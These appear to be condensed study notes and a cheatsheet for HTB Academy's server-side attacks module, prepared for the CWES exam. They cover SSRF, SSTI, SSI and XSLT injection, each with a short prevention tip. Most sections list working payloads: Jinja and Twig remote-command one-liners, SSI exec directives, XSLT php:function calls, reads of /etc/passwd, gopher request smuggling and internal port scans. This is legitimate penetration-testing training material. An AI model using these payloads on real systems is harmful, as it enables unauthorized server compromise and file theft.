Server-Side Attacks — SSRF, SSTI, SSI and XSLT Injection (HTB CWES)
Built from the Server-side Attacks module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every payload and fingerprint kept, condensed. Labs and lessons are on HTB Academy.
Four server-side classes — the request goes to the server, not the browser: SSRF, SSTI, SSI injection, XSLT injection. All but basic SSRF can reach RCE.
1. SSRF — Server-Side Request Forgery
The app fetches a URL from user input, so you make it send requests — to internal hosts, behind firewalls. Useful URL schemes:
| Scheme | Does |
|---|---|
http(s):// |
reach internal/restricted endpoints, bypass WAFs |
file:// |
read local files (LFI) — file:///etc/passwd |
gopher:// |
send arbitrary bytes → craft POST requests, talk to SMTP/Redis/MySQL |
Identify: point it at your listener (nc -lnvp 8000) — a callback confirms SSRF. Point it at http://127.0.0.1/index.php — if the HTML comes back, it's non-blind.
Internal port scan through the SSRF (filter the closed-port error):
seq 1 10000 > ports.txt
ffuf -w ports.txt -u http://TARGET/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"
Reach restricted endpoints (vhost/dir brute via the SSRF param), LFI (file:///etc/passwd → read source), and gopher to send a POST (build the raw HTTP request, URL-encode it, prefix gopher://host:80/_, then URL-encode the whole thing again because it rides inside a POST param):
gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:...%0D%0A%0D%0Aadminpw%3Dadmin
Gopherus generates these for MySQL, PostgreSQL, Redis, FastCGI, SMTP, memcached (python2.7 gopherus.py --exploit smtp).
Blind SSRF (response not reflected): you can still port-scan / test file existence when the error message differs for open/closed or existing/missing. Prevent: whitelist origins and schemes, egress firewall, network segmentation.
2. SSTI — Server-Side Template Injection
Template engines (Jinja, Twig) render a template + values. SSTI is when user input lands in the template (not the values) → code execution.
Confirm — break the syntax, expect an error:
${{<%[%'"}}%\.
Fingerprint the engine:
${7*7} → if executed … else →
{{7*7}} → if 49 executed → {{7*'7'}} → Jinja = 7777777 , Twig = 49
Jinja2 (Python/Flask) — info disclosure → LFI → RCE:
{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Twig (PHP/Symfony):
{{ _self }}
{{ "/etc/passwd"|file_excerpt(1,-1) }}
{{ ['id'] | filter('system') }}
Tool — SSTImap (modern tplmap): python3 sstimap.py -u 'http://TARGET/?name=test' (auto-detects engine); -D /etc/passwd ./out (read), -S id (command), --os-shell (interactive). Payloads: PayloadsAllTheThings SSTI. Prevent: never put user input in the template string; sandbox the engine (separate Docker).
3. SSI — Server-Side Includes Injection
SSI directives in .shtml/.shtm/.stm (or configured extensions) generate dynamic HTML. If user input is written into such a file unsanitized → injection:
<!--#printenv --> prove it (dumps env vars)
<!--#exec cmd="id" --> RCE
<!--#echo var="DOCUMENT_NAME" --> print a variable
<!--#include virtual="index.html" --> include a file (webroot only)
<!--#config errmsg="Error!" -->
Confirm with <!--#printenv -->, then <!--#exec cmd="whoami" -->. Prevent: validate input, restrict SSI to specific extensions/dirs, disable the exec directive.
4. XSLT Injection
XSLT transforms XML (e.g. into HTML). If user input is inserted into the XSL before processing, you inject XSL elements. Confirm with a broken tag (<) → 500 error. Fingerprint the processor:
<xsl:value-of select="system-property('xsl:version')" /> <!-- e.g. 1.0 / libxslt -->
<xsl:value-of select="system-property('xsl:vendor')" />
LFI and RCE (when the lib allows PHP functions):
<xsl:value-of select="unparsed-text('/etc/passwd','utf-8')" /> <!-- XSLT 2.0 -->
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />
<xsl:value-of select="php:function('system','id')" /> <!-- RCE -->
Prevent: HTML-encode user input before it hits the XSL, disable PHP functions, low-priv processor, patch the library.
5. What to carry into the CWES exam
- SSRF: confirm with a callback, test
127.0.0.1for non-blind, thenffufthe internal ports,file://for LFI, andgopher://(via Gopherus) to POST into internal services. - SSTI: the chain is break (
${{<%…) → fingerprint ({{7*7}},{{7*'7'}}) → engine-specific RCE. Memorize the Jinja__globals__…__import__('os').popenand Twigfilter('system')one-liners, or let SSTImap do it. - SSI:
.shtml+ reflected input →<!--#exec cmd="id" -->. - XSLT:
<to break,system-propertyto fingerprint,php:function('system','id')for RCE. - All four reduce to "user input reaches a server-side interpreter" — the skills assessment mixes them; test every reflected/fetched parameter against each.
Cheatsheet — Server-Side Attacks
SSRF
nc -lnvp 8000 # confirm callback
# non-blind test: dateserver=http://127.0.0.1/index.php
seq 1 10000 > ports.txt
ffuf -w ports.txt -u http://TARGET/ -X POST -d "dateserver=http://127.0.0.1:FUZZ/" -fr "Failed to connect to"
# schemes: file:///etc/passwd gopher://host:80/_<raw-HTTP-url-encoded-twice>
python2.7 gopherus.py --exploit smtp|redis|mysql|fastcgi
SSTI
confirm: ${{<%[%'"}}%\.
fingerprint: ${7*7} → {{7*7}} → {{7*'7'}} (Jinja 7777777 | Twig 49)
Jinja RCE: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Jinja LFI: {{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
Twig RCE: {{ ['id'] | filter('system') }}
Twig LFI: {{ "/etc/passwd"|file_excerpt(1,-1) }}
tool: python3 sstimap.py -u URL [-S id | -D /etc/passwd out | --os-shell]
SSI (.shtml)
<!--#printenv --> <!--#exec cmd="id" --> <!--#include virtual="x" -->
XSLT
confirm: <
<xsl:value-of select="system-property('xsl:version')" />
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />
<xsl:value-of select="php:function('system','id')" />
Built from HTB Academy's Server-side Attacks module — labs, lessons and the CWES exam are on HTB Academy.